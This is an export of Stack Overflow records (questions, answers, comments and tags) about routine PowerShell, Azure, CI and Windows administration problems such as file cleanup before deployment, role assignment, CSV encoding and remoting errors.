has body: I want to delete the files on my app service prior to deploying ensuring the latest files are present. However, I need to exclude a folder. I've added -not -path to what was working to attempt to exclude the folder. However, the files in webroot/uploads are still being deleted and not excluded. $bodyToPOST = @{ command = "find . -mindepth 1 -delete -not -path `"/home/site/wwwroot/webroot/uploads/*`"" dir = "/home/site/wwwroot" } # Splat all parameters together in $param $param = @{ # command REST API url Uri = "https://$WebAppName.scm.omited.appserviceenvironment.net/api/command" Headers = @{Authorization=("Basic {0}" -f $base64AuthInfo)} Method = "POST" Body = (ConvertTo-Json $bodyToPOST) ContentType = "application/json" } # Invoke REST call Invoke-RestMethod @param How can I change this script to exclude the folder webroot/uploads from the delete command?
answer count: 1
has title: Clearing files on Linux app service, need to exclude a folder
tagged with: powershell
type: AnsweredQuestion
tagged with: azure
has comment: http://stackoverflow.com/comment/139478917
has comment: http://stackoverflow.com/comment/139477657
score: 0
tagged with: azure-web-app-service
tagged with: bash

type-conversion
tags question: http://stackoverflow.com/q/79126996
tag name: type-conversion
type: Tag
tags question: http://stackoverflow.com/q/79276698
tags question: http://stackoverflow.com/q/79463040

http://stackoverflow.com/q/79174610
has comment: http://stackoverflow.com/comment/139613321
type: Question
has comment: http://stackoverflow.com/comment/139612796
has title: Powershell: Search supporting document for each event
has comment: http://stackoverflow.com/comment/139613290
has comment: http://stackoverflow.com/comment/139613300
has body: I have a script in powershell to extract and subsequently display the path to the supporting document for a series of events, but it is not working as expected. The document in question exists, I gave it the correct path, but the script refuses to do that row with the green highlight next to the file path. Please help me with this. Example to understand the context: an event has a date, a document number and a partner name. In the document folder, there is the document as the following name: year month day_FF last 4 digits of the document number_NAME PARTNER (usually the first word). $MainFolder = "FolderWithDocuments" $ExcelFilePath = "EXCEL.xlsx" $SheetName = "Sheet1" $StartRow = 1 $EndRow = 2 $ExcelApp = New-Object -ComObject Excel.Application $ExcelApp.Visible = $true $Workbook = $ExcelApp.Workbooks.Open($ExcelFilePath) $Worksheet = $Workbook.Sheets.Item($SheetName) $FolderPaths = Get-ChildItem -Path $MainFolder -Recurse -Directory | ForEach-Object { $_.FullName } $FoundFiles = @{} Function Search-PDF { param ( [Parameter(Mandatory=$true)] [string[]]$FolderPaths, [Parameter(Mandatory=$true)] [string]$DocNumber, [Parameter(Mandatory=$true)] [datetime]$DocDate, [Parameter(Mandatory=$true)] [string]$Partner ) $FormattedDate = $DocDate.ToString("yyyy MM dd") $LastTwo = $DocNumber.Substring([Math]::Max(0, $DocNumber.Length - 2)) $LastThree = $DocNumber.Substring([Math]::Max(0, $DocNumber.Length - 3)) $LastFour = $DocNumber.Substring([Math]::Max(0, $DocNumber.Length - 4)) $SearchNumbers = @($LastTwo, $LastThree, $LastFour) $PartnerWords = $Partner -split ' ' foreach ($FolderPath in $FolderPaths) { Get-ChildItem -Path $FolderPath -Filter "*.pdf" | ForEach-Object { $FileName = $_.Name $NumberMatch = $false foreach ($Num in $SearchNumbers) { if ($FileName -match "\b${Num}\b") { $NumberMatch = $true break } } if ($NumberMatch) { if ($FileName -match $FormattedDate) { $PartnerMatch = $false foreach ($Word in $PartnerWords) { if ($FileName -match [regex]::Escape($Word)) { $…
has comment: http://stackoverflow.com/comment/139613279
has comment: http://stackoverflow.com/comment/139612676
answer count: 1
has answer: http://stackoverflow.com/a/79177637
tagged with: powershell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139613239
score: 0

http://stackoverflow.com/a/79240616
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139731258
downvote count: 0
has comment: http://stackoverflow.com/comment/139731805
type: Answer
has body: To make it work, do in Visual Studio: Right-click on your project in the Solution Explorer Select "Properties" Go to the "Build" tab Look for "Platform target" Change from "Any CPU" to "x64" explanation I've followed suggestion of TessellatingHeckler to put a pause at the end of the .bat. The cmd windows paused, I did few tests and in one of them run another instance of the cmd invoked by c#. This other instance had "Administrator: C:\Windows\SysWOW64\cmd.exe in the title. Such a thing happens when c# code is intended to run on x32 rather than x64 platform.
answers question: http://stackoverflow.com/q/79240454

http://stackoverflow.com/comment/139521777
has text: Perfect. Thank you!
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79124081
score: 1

http://stackoverflow.com/comment/139619905
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79178582
type: Comment
has text: Thank you for the suggestion. WCF certainly has strong capabilities for controlled access. That said, since WCF is now considered more of a legacy technology, especially with Microsoft’s focus shifting toward newer options, I'm hesitant to use it in a new solution.

http://stackoverflow.com/comment/139643458
has text: `continuationToken` is used for REST API which version greater than `4.1-preview.1`. For version `4.1-preview.1`, you need to add `top` in the request header. I am guessing that you are using `top` in version greater than `4.1-preview.1`, so that the above scripts don't return all users. You can choose to use `top` with version `4.1-preview.1 or use `continuationToken` with greater version, for example, 7.0. Then it should work as expected.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79132466
type: Comment

http://stackoverflow.com/comment/139715887
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79211175
type: AnswerComment
has text: Thank you! This definitely seems more streamlined than my original file, but it does seem to process slower. Testing it now with some slight mods.

azure-application-insights
type: Tag
tag name: azure-application-insights
tags question: http://stackoverflow.com/q/79136057

http://stackoverflow.com/q/79124278
has comment: http://stackoverflow.com/comment/139521835
has comment: http://stackoverflow.com/comment/139524568
has title: How to parse mixed direct and piped function arguments in powershell?
linked to: http://stackoverflow.com/q/37015804
score: 0
has comment: http://stackoverflow.com/comment/139523597
tagged with: powershell
has body: I'm trying to handle the most obvious case of functions using mixed optional inputs. I would like the function to be able to process correctly the following command line options: usage: yolo 'BB' 'CC' 'AA' | yolo 'CC' As you might imagine, 'BB' could be an input filepath, and 'CC' a RegEx... I have tried a lot, and can do either with pipe or without pipe (using args[]), but not both. function yolo { param( [Parameter(Mandatory = $false, Position=0, ValueFromPipeline = $true)] [string] $AA, [Parameter(Mandatory = $false, Position=1)] [string] $BB, [Parameter(Mandatory = $false, Position=2)] [string] $CC ) $n=$($args.count); $p=$($PsBoundParameters.Count) Write-Host "N: $n`nP: $p`n" Write-Host "`nAA: $AA`nBB: $BB`nCC: $CC`n" $PSBoundParameters.Keys } However, all the variables get jumbled up... # Example-1 # yolo N: 0 P: 0 AA: BB: CC: # Example-2 # yolo "AA" "BB" N: 0 P: 2 AA: AA BB: BB CC: AA BB # Example-3 # "AA" | yolo "BB" yolo: The input object cannot be bound to any parameters for the command either because the command does not take pipeline input or the input and its properties do not match any of the parameters that take pipeline input. N: 0 P: 1 AA: BB BB: CC: AA Q: How can I ensure they end up in the right variable, regardless if passed from pipe or as arguments? (a) Why doesn't the piped string end up in any of the parametered variable? (b) How do I access it? PS. Similarly named questions, where not of any help.
has comment: http://stackoverflow.com/comment/139520326
has comment: http://stackoverflow.com/comment/139525992
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139524247
has comment: http://stackoverflow.com/comment/139524308
has comment: http://stackoverflow.com/comment/139524265
type: Question
has comment: http://stackoverflow.com/comment/139524239
answer count: 0
has comment: http://stackoverflow.com/comment/139520320

databricks
tag name: databricks
tags question: http://stackoverflow.com/q/79085917
type: Tag
tags question: http://stackoverflow.com/q/79251748

linux
tags question: http://stackoverflow.com/q/79109832
tag name: linux
tags question: http://stackoverflow.com/q/79211591
type: Tag
tags question: http://stackoverflow.com/q/79274677
tags question: http://stackoverflow.com/q/79258847
tags question: http://stackoverflow.com/q/79422629
tags question: http://stackoverflow.com/q/79430633
tags question: http://stackoverflow.com/q/79503577

http://stackoverflow.com/q/79148904
has comment: http://stackoverflow.com/comment/139571876
type: UnansweredQuestion
has body: Background: I create job in .gitlab-ci.yml but I Cannot select another option for variables for my job. My job is run by Powershell. Description of source code: .gitlab-ci.yml: stages: - maintenance - build - signing - test variables: TESTING_WITH_VPF: value: "1" options: - "1" - "0" description: "Use VPF, set 1" SELECTED_MODULE: value: "a" options: - "a" - "b" - "c" description: "Specify the module to run tests on (e.g., a)" *...some of code...* job_modules_testing: tags: - board_xxxx stage: test variables: CI_DEBUG_TRACE: "true" script: - echo "Starting testing job" - echo $env:SELECTED_MODULE - echo "Environment Variables:" - env - powershell -File $env:Test_file *...some of code...* Issue: After triggering job in Gitlab Gui (in browser) with SELECTED_MODULE = b. My job cannot run with SELECTED_MODULE = b. It runs with default value SELECTED_MODULE = a. (Images are attached below) Dear All, I hope you will give me a solution or point out the error to fix when handling this issue Best Regards, Ben Ng. enter image description here
score: 0
has title: Cannot select another option for variable in GitLab runner
has comment: http://stackoverflow.com/comment/139571844
tagged with: variables
type: Question
has comment: http://stackoverflow.com/comment/139564577
tagged with: gitlab-ci
answer count: 0
tagged with: cicd
tagged with: gitlab-ci-runner
tagged with: powershell

http://stackoverflow.com/comment/139720496
has text: You're gonna have to show us the modified version and the exact `wevtutil` command you ran if you want help figuring out what went wrong :)
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/79234274
type: Comment

http://stackoverflow.com/comment/139648377
comment on: http://stackoverflow.com/q/79194279
has text: are you going to keep editing your question until you get all the answers for all the different commands powershell can handle?
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79147272
tagged with: windows
type: Question
answer count: 0
tagged with: amazon-ec2
tagged with: sysinternals
has body: Problem: I need to launch an AWS EC2 Windows instance that needs to startup with a GUI with a gui program that is running before any user manual user interaction. My program must run in a UI session because it depends on 3rd party code which requires it. There is no option to run it from a GUI-less SSM session: The program needs to open actual windows and draw actual graphics in them... Out of the box: EC2 windows provides you with RDP (Windows Remote Desktop) and SSM (Powershell) connectivity out of the box. Partial Solution #1: I have configured it to start running after the user manually RDPs into the machine: I put an autostart batch file that fires when user logs in for the first time. The program and session stay active even after the RDP session is terminated. This is not good because it requires user interaction for the program to start. (user needs to manually RDP into the machine) Partial Solution #2: Created an AWS-Lambda that RDPs into the Windows machine instead of the user. This is also sub-optimal because it creates a security hole: This windows machine contains user data, and we want to isolate it's VPC. (Not to mention we are storing private RDP passwords in the cloud! ) Looking for a way to set this up locally from within the EC2 machine's &lt;userdata/&gt; which runs in Windows powershell. The main problem is that that said SSM powershell runs in a GUI-less admin state: PS C:\Windows\system32&gt; qwinsta SESSIONNAME USERNAME ID STATE TYPE DEVICE &gt;services 0 Disc console 1 Conn abcdee123456f... 65536 Listen rdp-tcp 65537 Listen Things I have tried so far: Sysinternals PSEXEC and Autolgon psexec /accepteula -d -s -i 2 RunMyGuiProgram.exe does work, but only after someone has manually logged in via RDP and created GuiSession2 by hand. autologon Adminstrator $domain $password /accepteula only works when a GUI session is active (not from a GUI-less powershell) Get the machine to RDP itself - cmdkey for setting passwords, does not work from non gui S…
tagged with: aws-ssm
score: 0
tagged with: powershell
type: UnansweredQuestion
has title: Windows Powershell - How to start an unattended GUI session from EC2 SSM Powershell

http://stackoverflow.com/a/79228025
has body: First loop foreach ($root in $array.data) Inside loop (inside the root loop) foreach ($item in $root.items)
answers question: http://stackoverflow.com/q/79227970
type: Answer
score: 0

http://stackoverflow.com/comment/139620278
has text: isn't it done here? `$llcFrame = $llcHeader + $llcPayload`
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79178285
score: 0

http://stackoverflow.com/a/79109617
answers question: http://stackoverflow.com/q/79091983
type: Answer
score: 0
has body: For PIM role assignments, you should not use the standard role assignment cmdlet (New-AzRoleAssignment) that assigns Azure role permanently. In your case, creation of role-assignable group via PowerShell is correct but the issue is with usage of wrong command to assign PIM role. Initially, I created one group by running same PowerShell command like this: $groupfullname = "testpimgroup" New-MgGroup -DisplayName $groupfullname -MailNickName $groupfullname -MailEnabled:$false -SecurityEnabled -IsAssignableToRole:$true Response: Portal: To assign Azure resource role like "Contributor" PIM eligible role assignment to group, you can make use of below sample PowerShell script: $guid = [guid]::NewGuid().ToString() $startTime = Get-Date -Format o $scope = "/subscriptions/subId/" New-AzRoleEligibilityScheduleRequest -Name $guid -Scope $scope -ExpirationDuration PT1H -ExpirationType AfterDuration -PrincipalId "groupId" -RequestType AdminAssign -RoleDefinitionId subscriptions/subId/providers/Microsoft.Authorization/roleDefinitions/roledefId -ScheduleInfoStartDateTime $startTime Response: Portal: Similarly, make use of below sample PowerShell script to assign eligible PIM Microsoft Entra role like Application Admin to group: Import-Module Microsoft.Graph.Identity.Governance $startTime = Get-Date -Format o $params = @{ action = "adminAssign" justification = "Assign Application Admin eligibility to group" roleDefinitionId = "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3" directoryScopeId = "/" principalId = "groupId" scheduleInfo = @{ startDateTime = $startTime expiration = @{ type = "afterDateTime" endDateTime = [System.DateTime]::Parse("2024-11-10T00:00:00Z") } } } New-MgRoleManagementDirectoryRoleEligibilityScheduleRequest -BodyParameter $params Response: Portal:

http://stackoverflow.com/comment/139674433
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79201850
type: AnswerComment
has text: Thanks. This will list everything but I need to capture the exact element or attribute

http://stackoverflow.com/comment/139432878
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79076344
type: QuestionComment
has text: [_PowerShell (Core) 7_](https://github.com/PowerShell/PowerShell/blob/master/README.md) versions target _Windows PowerShell_ in remoting operations _by default_; targeting PowerShell 7 on the remote machine too - assuming it is installed and remoting has been enabled for it - requires explicit opt-in. See the linked duplicate for details.

http://stackoverflow.com/q/79224521
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139702541
tagged with: powershell
has body: Is there a way to run a command in a specific Command Prompt window using its Process ID? $command = "C:\Windows\system32\cmd.exe" $ID = (Start-Process -FilePath $Command -PassThru).Id Write-Host $ID $command = "mycommandgoeshere" $process = Get-WmiObject Win32_Process -Filter "ProcessId=$ID" $process.InvokeMethod("Create", $command) However, it is failing with the error NotSpecified: Exception calling "InvokeMethod" with "2" argument(s): "Invalid method " I'm looking for a way to run commands on a remote server in the same command window. Thank you!
has comment: http://stackoverflow.com/comment/139702655
has title: Run a command in a specific Command Prompt window using its Process ID
has comment: http://stackoverflow.com/comment/139702491
has comment: http://stackoverflow.com/comment/139705047
tagged with: powershell-remoting
has comment: http://stackoverflow.com/comment/139702525
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139707953
has comment: http://stackoverflow.com/comment/139702503

pinvoke
type: Tag
tags question: http://stackoverflow.com/q/79112483
tag name: pinvoke
tags question: http://stackoverflow.com/q/79397722
tags question: http://stackoverflow.com/q/79516048

http://stackoverflow.com/comment/139590761
score: 1
type: QuestionComment
has text: The behavior is the expected one because default action preference is `Continue`. If you put `$ErrorActionPreference = 'Stop'` on top of your Job scriptblock then it will be `Failed`.
comment on: http://stackoverflow.com/q/79162911
type: Comment

http://stackoverflow.com/comment/139559829
comment on: http://stackoverflow.com/a/79146113
type: Comment
has text: Great, thank you! I'm guessing I'll have a lot of other problems then. I'll post the entire code that I currently have. I probably should have started over but I tried to add searching .xlsx, docx, pdfs into my PII scan and made it multi threaded to run faster with the parallel. Looks like I'm a little over my head on the parallel. Thanks again for helping, full code posted now.
score: 1
type: AnswerComment

http://stackoverflow.com/q/79096499
has body: The issue I’m facing is that, in the specific case of Google Chrome, the step "name: Uninstall program with route" fails with an rc=19, however, the software is successfully uninstalled but the step still fails with that return code. I can’t figure out, nor find, why this happens. Does anyone know what this code means and can help me? Does anyone know why this is occurring? The version of Ansible I’m using is a bit old, as is the version of Python: ansible 2.9.27 config file = /etc/ansible/ansible.cfg configured module search path = [u'/home/ansible/.ansible/plugins/modules', u'/usr/share/ansible/plugins/modules'] ansible python module location = /usr/lib/python2.7/site-packages/ansible executable location = /usr/bin/ansible python version = 2.7.5 (default, Oct 6 2023, 09:53:10) [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)] This is why I have to pass the path to win_package, as this points to an .exe, and the module fails if I don’t provide it. Additionally, I’ve noticed it’s the same return code I get when I uninstall via PowerShell by executing: $process = Start-Process -FilePath $exe -ArgumentList $params -Wait -PassThru $process.WaitForExit() $exitCode = $process.Exit Here’s the playbook. --- - hosts: all gather_facts: false vars: aplication_name: "Google Chrome" tasks: - name: Bloque de desinstalacion block: - name: obtain id and uninstall string by aplication name ansible.windows.win_powershell: script: | $package_info = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* , HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object { $_.DisplayName -like "*{{aplication_name}}*" } | ForEach-Object { "$($_.PSChildName)\n$($_.UninstallString)" } Write-Output $package_info register: package_info - name: extract product_id y path set_fact: product_id: "{{ package_info.output[0].split('\\n')[0] }}" uninstall_path: "{{ package_info.output[0].split('\\n')[1].split('--')[0] | regex_replace('^\\s+|\\s+$', '') | regex_replac…
type: Question
answer count: 0
downvote count: 0
tagged with: powershell
tagged with: ansible
has title: Ansible win_package to uninstall Google Chrome. Fails with rc=19
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/139472397
upvote count: 1
favorite count: 0
tagged with: windows

http://stackoverflow.com/a/79133359
type: Answer
answers question: http://stackoverflow.com/q/79131446
score: 0
has body: Note: This answer applies to Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1) rather than PowerShell (Core) 7 (in the latter, there is no discrepancy between the for-display column names and property names in Test-Connection's for-display output). As js2010's helpful answer notes, the column names in the for-display output formatting definitions associated with the type of the objects output by Test-Connection do not correspond to the property names of the underlying objects, whereas only true property names can be used with Select-Object. However, using the real property names alone will invariably also use these names as column names, which won't give you the desired output. In order to use the original column names, you can use calculated properties to effectively rename the underlying properties: # Windows PowerShell only. Test-Connection -Source $source -Destination $remoteHost | Select-Object @{ Name='Source'; Expression='PSComputerName' }, @{ Name='Destination'; Expression='Address' }, @{ Name='Bytes'; Expression='BufferSize' }, @{ Name='Time(ms)'; Expression='ResponseTime' } A less verbose alternative, given that the calculated-property syntax is verbose and that all properties need renaming in your case, is to use a ForEach-Object call in which you can construct a [pscustomobject] from each Test-Connection output object: # Windows PowerShell only. Test-Connection -Source $source -Destination $remoteHost | ForEach-Object { [pscustomobject] @{ Source = $_.PSComputerName Destination = $_.Address Bytes = $_.BufferSize 'Time(ms)' = $_.ResponseTime } } Optional background information: Is there a documented list of names of objects displayed in Test-Connection power shell command? Fundamentally, as Santiago notes, you can pipe a cmdlet's output Get-Member to discover its members (adding -MemberType Properties restricts the output to property members). For discovering property members only,…

http://stackoverflow.com/comment/139720829
has text: @Dan, I have no explanation; it works for me. If you're interested in getting to the bottom of this (you may not be), append a redirection such as `*>> c:\path\to\log\file.txt` to your `Rename-Computer` call and examine the file after a reboot. As an aside: you can simplify the random-name generation expression to `-join [char[]] (97..122 | Get-Random -Count 15)`
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79232052

http://stackoverflow.com/comment/139665606
has text: Note that `Import-Module .\SomeScript.ps1` - while ill-advised for conceptual reasons alone, given that a `.ps1` file is just a _script_, not a _module_ - is in effect the same as `. .\SomeScript.ps1` (dot-sourcing), which is what you need. (Adding `-Verbose` to the `Import-Module` call shows this.) However, a side effect of using `Import-Module` is that a pseudo-module `SomeScript` is then reported by `Get-Module`. Also, repeating the `Import-Module` call in the same session is a quiet no-op - even if the script's content has changed; reloading requires `-Force`.
comment on: http://stackoverflow.com/q/79201535
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139501947
comment on: http://stackoverflow.com/a/79111903
has text: I am glad to hear it, @KennethFish; my pleasure.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139503972
comment on: http://stackoverflow.com/a/79112558
type: Comment
score: 0
type: AnswerComment
has text: I believe all Windows icons are compiled in icon sets (.dll) but there are lots of icons to be found on the internet

http://stackoverflow.com/comment/139477480
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100678
score: 0
has text: Please make an earnest attempt and provide an [mre] showing where you are stuck. If you really have no idea to start, I would suggest starting with searches for [How to Read and Write CSV files](https://stackoverflow.com/q/41585078/17030540), [Python csv library docs](https://docs.python.org/3/library/csv.html#module-csv), [How to rename a file in Python](https://stackoverflow.com/q/2491222/17030540), and the [Python 3 os.rename() docs](https://docs.python.org/3/library/os.html#os.rename)

http://stackoverflow.com/q/79193316
tagged with: printing
has title: Printer color setup powershell script
has body: I am trying to deploy PowerShell script that force printing for print window to be BnW, but user can change that, any help would be appreciated. Additional info: Printer is Kyocera Taskaifa 2554ci, using LPR, mapped to users via another PS script that cleanup previous printer / download and install driver / verify if printer present / cleanup after itself. I've already dig into driver option during install and tried to analyze where this default printing color is, but no luck. https://dam.kyoceradocumentsolutions.com/content/dam/gdam_dc/dc_global/executables/web/Kx84_UPD_8.4.1716_en_RC5_WHQL.zip Driver install done via: # Install driver $infFile = "$extractPath\Kx84_UPD_8.4.1716_en_RC5_WHQL\64bit\OEMSETUP.inf" pnputil.exe -i -a $infFile Add-PrinterDriver -Name $targetDriverName Printer add done via: Add-Printer -Name $targetPrinterName -PortName $targetPortName -DriverName $targetDriverName I have already tested chatgpt / claude, no luck too.
type: Question
answer count: 0
tagged with: powershell
score: 0
type: UnansweredQuestion
tagged with: kyocera

http://stackoverflow.com/a/79132465
has body: On Get-Help -Full -Name Test-Connection(OUTPUTS section) or The Docs, OUTPUTS section you can find the class(es) of the output. by searching for that class(a combination of TestConnectionCommand+PingMtuStatus in this instance), you will find the list of its properties This, of course, is also valid for any other command\class.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79131446

http://stackoverflow.com/comment/139705047
score: 0
has text: What do you mean "from the same window"? Octopus isn't looking at a screen...
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79224521

http://stackoverflow.com/comment/139632286
score: 1
has text: How do you know it's a permission issue when you never surface the exception?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79185432

office-online-server
type: Tag
tags question: http://stackoverflow.com/q/79119175
tag name: office-online-server

http://stackoverflow.com/a/79205974
has comment: http://stackoverflow.com/comment/139669836
has comment: http://stackoverflow.com/comment/139669618
type: Answer
has body: https://dotnet.microsoft.com/en-us/download/dotnet-framework/thank-you/net481-offline-installer you can download and install with paramerts: NDP481-x86-x64-AllOS-ENU.exe /q /norestart The parameters can be found out NDP481-x86-x64-AllOS-ENU.exe /? powershell start-Process -ArgumentList "/q /norestart" -NoNewWindow -wait NDP481-x86-x64-AllOS-ENU.exe you can download and install the program from the SMB network directory, but you should remember that you may need to reboot
score: 0
answers question: http://stackoverflow.com/q/79205646

binaryfiles
tags question: http://stackoverflow.com/q/79211988
tag name: binaryfiles
type: Tag

http://stackoverflow.com/comment/139657986
type: AnswerComment
has text: @Ranjan according to the documentation of `az pipelines run` (see link above) it is NOT possible to trigger multiple pipelines with a single command.
comment on: http://stackoverflow.com/a/79178363
type: Comment
score: 0

http://stackoverflow.com/comment/139639451
score: 0
has text: The idea is to get the output in one single line instead of three lines. And apologies, I am not Powershell expert :-(
type: QuestionComment
comment on: http://stackoverflow.com/q/79189293
type: Comment

http://stackoverflow.com/comment/139654026
comment on: http://stackoverflow.com/q/79196973
score: 0
has text: powershell 5 is notorious for not recognizing utf8 no bom
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139720399
score: 1
has text: That solved the issue! Other answers didn't help, thank you so much!
comment on: http://stackoverflow.com/q/79234150
type: QuestionComment
type: Comment

visual-studio
type: Tag
tag name: visual-studio
tags question: http://stackoverflow.com/q/79136266
tags question: http://stackoverflow.com/q/79087523
tags question: http://stackoverflow.com/q/79249490
tags question: http://stackoverflow.com/q/79296931
tags question: http://stackoverflow.com/q/79303120

http://stackoverflow.com/comment/139496368
has text: Please show one of your code attempts. And please show sample data and desired results.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79111442
score: 1

http://stackoverflow.com/q/79085814
score: 0
type: Question
has body: I am trying to establish connectivity between powerapps with azure with enterprise policy powershell script i am using this https://github.com/microsoft/PowerApps-Samples/tree/master/powershell/enterprisePolicies#7-set-subnet-injection-for-an-environment but as soon as give newsubnetinjection.ps1 i am getting the below error, and am not able to link my policy with powerapps WARNING: Resulting JSON is truncated as serialization has exceeded the set depth of 2. Linking of vnet policy did not start for environement Default-66673bbd-cec6-4964-b5ec-79b82ada2166 Error: { "StatusCode": 404, "StatusDescription": null, "Headers": [ { "Key": "Date", "Value": "Mon, 14 Oct 2024 09:25:17 GMT" }, { "Key": "Cache-Control", "Value": "no-store, no-cache" }, { "Key": "Strict-Transport-Security", "Value": "max-age=31536000; includeSubDomains" }, { "Key": "x-ms-islandgateway", "Value": "ga0000002" }, { "Key": "x-ms-request-id", "Value": "southindia:6f2649fc-aba6-46a8-b725-a82832baefa4" }, { "Key": "x-ms-correlation-request-id", "Value": "d9e7ddae-b5be-4fce-bd9b-aefcb92283c8" }, { "Key": "x-ms-correlation-id", "Value": "d9e7ddae-b5be-4fce-bd9b-aefcb92283c8" }, { "Key": "Server-Timing", "Value": "x-ms-igw-upstream-headers;dur=1529.9,x-ms-igw-req-overhead;dur=1.3" }, { "Key": "X-Content-Type-Options", "Value": "nosniff" }, { "Key": "x-ms-service-request-id", "Value": "bfcbbe2a-ac7d-4823-92c1-a061efbadf7a" }, { "Key": "x-ms-activity-vector", "Value": "00" } ], "Error": { "code": "EnterprisePolicyCallFailed", "message": "The call to a dependent service failed. HttpStatusCode: 'NotFound' Error: '{\"error\":{\"namespace\":\"Quartz.ItemNotFound\",\"code\":\"ItemNotFound\",\"message\":\"Not able to get enterprise policy for policy id: 40d97138-88cf-4f1b-8d81-7c00d37a1a5d, tenant id: 66673bbd-cec6-4964-b5ec-79b82ada2166. Policy not found.\"}}'", "details": [ "@{code=ItemNotFound; message=Not able to get enterprise policy for policy id: 40d97138-88cf-4f1b-8d81-7c00d37a1a5d, tenant id: 66673bbd-ce…
tagged with: enterprise
tagged with: subnet
answer count: 0
tagged with: powershell
tagged with: vnet
has title: Issue with VNet Enterprise Policy not getting created for powerapps integration with azure services
tagged with: policy
type: UnansweredQuestion

http://stackoverflow.com/q/79110424
score: 1
tagged with: cmd
favorite count: 0
tagged with: directory
answer count: 2
has answer: http://stackoverflow.com/a/79110474
type: Question
has body: Currently I need to make a list of all files and all folders and who has access to them. I have already made a list of items with the dir /b/s/o, but I do not have the access list for each file/folder list of permissions If there is a way to combine the dir command with another to create this list of access and each item, I would appreciate it.
has title: List all files and folders and permissions in cmd
tagged with: windows
downvote count: 0
has answer: http://stackoverflow.com/a/79111251
tagged with: powershell
type: UnansweredQuestion
upvote count: 1

http://stackoverflow.com/q/79170189
type: Question
has body: I am evaluating Web Front End solution for backend PowerShell scripts - every single time service request fails here: $session = New-PSSession -ComputerName dcName -ConfigurationName DomainAdmins Invoke-Command -Session $session -ScriptBlock {...} Error: Cannot validate argument on parameter 'Session'. The argument is null or empty. Provide an argument that is not null or empty, and then try the command again. [dcName] An error has occurred which PowerShell cannot handle. A remote session might have ended. Other, free Web Front End solution has no issues whatsoever. Vendor is saying something is misconfigured in my environment which obviously is not the case here since free solution works flawlessly with PS remoting inside the PS script. Does anyone have any clue what I can do here not requiring paid support by Vendor (we are still in PoC phase) - PS remoting is the backbone of all service requests so having it working flawlessly is a must.
answer count: 1
tagged with: powershell
score: 0
type: UnansweredQuestion
has title: An error has occurred which PowerShell cannot handle. A remote session might have ended
has answer: http://stackoverflow.com/a/79170255

http://stackoverflow.com/comment/139494779
type: Comment
comment on: http://stackoverflow.com/q/79108858
score: 1
type: QuestionComment
has text: Or put c:\cygwin64\bin first in the path. I don't see why you can't run tree.exe.

http://stackoverflow.com/comment/139505821
type: Comment
score: 0
has text: I would use `New-ADUser ... -PassThru` for this, see: [Adding user to group after running New-ADUser](https://stackoverflow.com/q/36060176/1701026).
type: QuestionComment
comment on: http://stackoverflow.com/q/79116129

dbatools
type: Tag
tag name: dbatools
tags question: http://stackoverflow.com/q/79103970
tags question: http://stackoverflow.com/q/79490425
tags question: http://stackoverflow.com/q/79537135

http://stackoverflow.com/a/79164699
score: 1
upvote count: 1
has body: Preface: Indeed, field-internal newlines in CSV files are not a problem per se, as long as the fields in question are enclosed in "...", which Export-Csv does ensure. In terms of character encoding, Export-Csv regrettably defaults to ASCII encoding(!) in Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1), whereas it sensibly defaults to (BOM-less) UTF-8 in PowerShell (Core) 7 (the modern, cross-platform, install-on-demand edition). Passing -Encoding utf8 to Export-Csv in Windows PowerShell invariably creates UTF-8 files with BOM (in PowerShell 7 you can opt into this behavior with -Encoding utf8BOM); workarounds are needed if that is undesired - see this answer. PowerShell (Core) 7 commendably defaults to (BOM-less) UTF-8 consistently, whereas Windows PowerShell's default encodings vary wildly by cmdlet - see the bottom section of this answer for background information. You're already using a calculated property in your code: @{N='Address';E='streetaddress'} uses a string in the E (short for Expression) entry to refer to the value of a property by that name in the pipeline input object at hand. In order to use a dynamically determined value instead, as is needed in your case, you need to use a script block ({ ... }, inside of which you can use the automatic $_ variable to refer to the input object at hand; this allows you to perform the desired replacement of field-internal newlines with verbatim ||: Get-ADUser -Filter 'Enabled -eq $True' -Properties cn, streetaddress, telephoneNumber | Select-Object @{N='AcctName';E='cn'}, @{N='Address';E={ $_.streetaddress -replace '\r?\n', '||' }, @{N='Phone';E='telephoneNumber'} | Export-csv c:\temp\test.csv -NoType Note: For robustness, the above uses -replace, the regex-based string-replacement operator with regex \r?\n to match both Windows-format CRLF and Unix-format LF-only newlines; however, if you can assume that all newlines to be replaced are CRLF…
type: Answer
answers question: http://stackoverflow.com/q/79164455
downvote count: 0

http://stackoverflow.com/a/79144922
type: Answer
